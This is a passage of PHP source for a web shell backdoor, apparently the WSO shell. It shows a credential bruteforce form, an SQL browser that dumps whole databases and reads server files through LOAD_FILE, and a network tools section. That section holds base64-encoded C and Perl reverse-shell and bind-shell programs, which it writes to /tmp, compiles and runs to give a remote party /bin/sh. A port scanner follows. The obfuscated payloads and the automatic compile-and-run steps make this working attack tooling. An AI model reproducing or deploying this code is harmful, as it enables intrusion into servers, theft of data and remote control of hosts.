1251 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1252 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1253 .'<td><input type=text name=login value="root"></td></tr>'
1254 .'<tr><td><span>Dictionary</span></td>'
1255 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1256 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1257 echo '</div><br>';
1258 printFooter();
1259}
1260// Bruteforce end --------------------
1261// Sql go ----------------------------
1262function actionSql() {
1263 class DbClass {
1264 var $type;
1265 var $link;
1266 var $res;
1267 function DbClass($type) {
1268 $this->type = $type;
1269 }
1270 function connect($host, $user, $pass, $dbname){
1271 switch($this->type) {
1272 case 'mysql':
1273 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1274 break;
1275 case 'pgsql':
1276 $host = explode(':', $host);
1277 if(!$host[1]) $host[1]=5432;
1278 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1279 break;
1280 }
1281 return false;
1282 }
1283 function selectdb($db) {
1284 switch($this->type) {
1285 case 'mysql':
1286 if (@mysql_select_db($db))return true;
1287 break;
1288 }
1289 return false;
1290 }
1291 function query($str) {
1292 switch($this->type) {
1293 case 'mysql':
1294 return $this->res = @mysql_query($str);
1295 break;
1296 case 'pgsql':
1297 return $this->res = @pg_query($this->link,$str);
1298 break;
1299 }
1300 return false;
1301 }
1302 function fetch() {
1303 $res = func_num_args()?func_get_arg(0):$this->res;
1304 switch($this->type) {
1305 case 'mysql':
1306 return @mysql_fetch_assoc($res);
1307 break;
1308 case 'pgsql':
1309 return @pg_fetch_assoc($res);
1310 break;
1311 }
1312 return false;
1313 }
1314 function listDbs() {
1315 switch($this->type) {
1316 case 'mysql':
1317 return $this->res = @mysql_list_dbs($this->link);
1318 break;
1319 case 'pgsql':
1320 return $this->res = $this->query("SELECT datname FROM pg_database");
1321 break;
1322 }
1323 return false;
1324 }
1325 function listTables() {
1326 switch($this->type) {
1327 case 'mysql':
1328 return $this->res = $this->query('SHOW TABLES');
1329 break;
1330 case 'pgsql':
1331 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1332 break;
1333 }
1334 return false;
1335 }
1336 function error() {
1337 switch($this->type) {
1338 case 'mysql':
1339 return @mysql_error($this->link);
1340 break;
1341 case 'pgsql':
1342 return @pg_last_error($this->link);
1343 break;
1344 }
1345 return false;
1346 }
1347 function setCharset($str) {
1348 switch($this->type) {
1349 case 'mysql':
1350 if(function_exists('mysql_set_charset'))
1351 return @mysql_set_charset($str, $this->link);
1352 else
1353 $this->query('SET CHARSET '.$str);
1354 break;
1355 case 'mysql':
1356 return @pg_set_client_encoding($this->link, $str);
1357 break;
1358 }
1359 return false;
1360 }
1361 function dump($table) {
1362 switch($this->type) {
1363 case 'mysql':
1364 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1365 $create = mysql_fetch_array($res);
1366 echo $create[1].";\n\n";
1367 $this->query('SELECT * FROM `'.$table.'`');
1368 while($item = $this->fetch()) {
1369 $columns = array();
1370 foreach($item as $k=>$v) {
1371 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1372 $columns[] = "`".$k."`";
1373 }
1374 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1375 }
1376 break;
1377 case 'pgsql':
1378 $this->query('SELECT * FROM '.$table);
1379 while($item = $this->fetch()) {
1380 $columns = array();
1381 foreach($item as $k=>$v) {
1382 $item[$k] = "'".addslashes($v)."'";
1383 $columns[] = $k;
1384 }
1385 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1386 }
1387 break;
1388 }
1389 return false;
1390 }
1391 };
1392 $db = new DbClass($_POST['type']);
1393 if(@$_POST['p2']=='download') {
1394 ob_start("ob_gzhandler", 4096);
1395 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1396 $db->selectdb($_POST['sql_base']);
1397 header("Content-Disposition: attachment; filename=dump.sql");
1398 header("Content-Type: text/plain");
1399 foreach($_POST['tbl'] as $v)
1400 $db->dump($v);
1401 exit;
1402 }
1403 printHeader();
1404 ?>
1405 <h1>Sql browser</h1><div class=content>
1406 <form name="sf" method="post">
1407 <table cellpadding="2" cellspacing="0">
1408 <tr>
1409 <td>Type</td>
1410 <td>Host</td>
1411 <td>Login</td>
1412 <td>Password</td>
1413 <td>Database</td>
1414 <td></td>
1415 </tr>
1416 <tr>
1417 <input type=hidden name=a value=Sql>
1418 <input type=hidden name=p1 value='query'>
1419 <input type=hidden name=p2>
1420 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1421 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1422 <td>
1423 <select name='type'>
1424 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1425 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1426 </select></td>
1427 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1428 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1429 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1430 <td>
1431 <?php
1432 $tmp = "<input type=text name=sql_base value=''>";
1433 if(isset($_POST['sql_host'])){
1434 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1435 switch($_POST['charset']) {
1436 case "Windows-1251": $db->setCharset('cp1251'); break;
1437 case "UTF-8": $db->setCharset('utf8'); break;
1438 case "KOI8-R": $db->setCharset('koi8r'); break;
1439 case "KOI8-U": $db->setCharset('koi8u'); break;
1440 case "cp866": $db->setCharset('cp866'); break;
1441 }
1442 $db->listDbs();
1443 echo "<select name=sql_base><option value=''></option>";
1444 while($item = $db->fetch()) {
1445 list($key, $value) = each($item);
1446 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1447 }
1448 echo '</select>';
1449 }
1450 else echo $tmp;
1451 }else
1452 echo $tmp;
1453 ?></td>
1454 <td><input type=submit value=">>"></td>
1455 </tr>
1456 </table>
1457 <script>
1458 function st(t,l) {
1459 document.sf.p1.value = 'select';
1460 document.sf.p2.value = t;
1461 if(l!=null)document.sf.p3.value = l;
1462 document.sf.submit();
1463 }
1464 function is() {
1465 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1466 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1467 }
1468 </script>
1469 <?php
1470 if(isset($db) && $db->link){
1471 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1472 if(!empty($_POST['sql_base'])){
1473 $db->selectdb($_POST['sql_base']);
1474 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1475 $tbls_res = $db->listTables();
1476 while($item = $db->fetch($tbls_res)) {
1477 list($key, $value) = each($item);
1478 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1479 $value = htmlspecialchars($value);
1480 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1481 }
1482 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1483 if(@$_POST['p1'] == 'select') {
1484 $_POST['p1'] = 'query';
1485 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1486 $num = $db->fetch();
1487 $num = $num['n'];
1488 echo "<span>".$_POST['p2']."</span> ($num) ";
1489 for($i=0;$i<($num/30);$i++)
1490 if($i != (int)$_POST['p3'])
1491 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1492 else
1493 echo ($i+1)," ";
1494 if($_POST['type']=='pgsql')
1495 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1496 else
1497 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1498 echo "<br><br>";
1499 }
1500 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1501 $db->query(@$_POST['p3']);
1502 if($db->res !== false) {
1503 $title = false;
1504 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1505 $line = 1;
1506 while($item = $db->fetch()) {
1507 if(!$title) {
1508 echo '<tr>';
1509 foreach($item as $key => $value)
1510 echo '<th>'.$key.'</th>';
1511 reset($item);
1512 $title=true;
1513 echo '</tr><tr>';
1514 $line = 2;
1515 }
1516 echo '<tr class="l'.$line.'">';
1517 $line = $line==1?2:1;
1518 foreach($item as $key => $value) {
1519 if($value == null)
1520 echo '<td><i>null</i></td>';
1521 else
1522 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1523 }
1524 echo '</tr>';
1525 }
1526 echo '</table>';
1527 } else {
1528 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1529 }
1530 }
1531 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1532 echo "</td></tr>";
1533 }
1534 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1535 if(@$_POST['p1'] == 'loadfile') {
1536 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1537 $file = $db->fetch();
1538 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1539 }
1540 }
1541 echo '</div>';
1542 printFooter();
1543}
1544// Sql end -------------------------
1545// Network go --------------------
1546function actionNetwork() {
1547 printHeader();
1548 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1549 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1550 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1551 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1552 echo "<h1>Network tools</h1><div class=content>
1553 <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
1554 <span>Bind port to /bin/sh</span><br/>
1555 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value='>>'>
1556 </form>
1557 <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
1558 <span>Back-connect to</span><br/>
1559 Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value='>>'>
1560 </form><br>";
1561 if(isset($_POST['p1'])) {
1562 function cf($f,$t) {
1563 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1564 if($w) {
1565 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1566 @fclose($w);
1567 }
1568 }
1569 if($_POST['p1'] == 'bpc') {
1570 cf("/tmp/bp.c",$bind_port_c);
1571 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1572 @unlink("/tmp/bp.c");
1573 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1574 echo "<pre class=ml1>$out".ex("ps aux | grep bp")."</pre>";
1575 }
1576 if($_POST['p1'] == 'bpp') {
1577 cf("/tmp/bp.pl",$bind_port_p);
1578 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1579 echo "<pre class=ml1>$out".ex("ps aux | grep bp.pl")."</pre>";
1580 }
1581 if($_POST['p1'] == 'bcc') {
1582 cf("/tmp/bc.c",$back_connect_c);
1583 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1584 @unlink("/tmp/bc.c");
1585 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1586 echo "<pre class=ml1>$out".ex("ps aux | grep bc")."</pre>";
1587 }
1588 if($_POST['p1'] == 'bcp') {
1589 cf("/tmp/bc.pl",$back_connect_p);
1590 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1591 echo "<pre class=ml1>$out".ex("ps aux | grep bc.pl")."</pre>";
1592 }
1593 }
1594 echo '</div>';
1595 printFooter();
1596}
1597// Network end --------------------
1598// Port Scanner go --------------------
1599function actionPortScanner() {
1600 printHeader();
1601 echo '<h1>Port Scanner</h1>';
1602 echo '<div class="content">';
1603 echo '<form action="" method="post">';
1604
1605 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1606 $start = strip_tags($_POST['start']);
1607 $end = strip_tags($_POST['end']);
1608 $host = strip_tags($_POST['host']);
1609 for($i = $start; $i<=$end; $i++){
1610 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1611 if($fp){
1612 echo 'Port '.$i.' is <font color=lime>open</font><br>';
1613 }
1614 flush();
1615 }
1616 } else {
1617 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1618 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1619 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1620 Host: <input type="text" name="host" value="localhost"/><br /><br />
1621 Port start: <input type="text" name="start" value="0"/><br /><br />
1622 Port end:<input type="text" name="end" value="5000"/><br /><br />
1623 <input type="submit" value="Scan Ports" />
1624 </form></center><br /><br />';
1625 }
1626 echo '</div>';
1627 printFooter();
1628}
1629// Port Scanner end --------------------
1630if( empty($_POST['a']) )
1631 if(isset($default_action) && function_exists('action' . $default_action))
1632 $_POST['a'] = $default_action;
1633 else
1634 $_POST['a'] = 'FilesMan';
1635if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1636 call_user_func('action' . $_POST['a']);
1637?>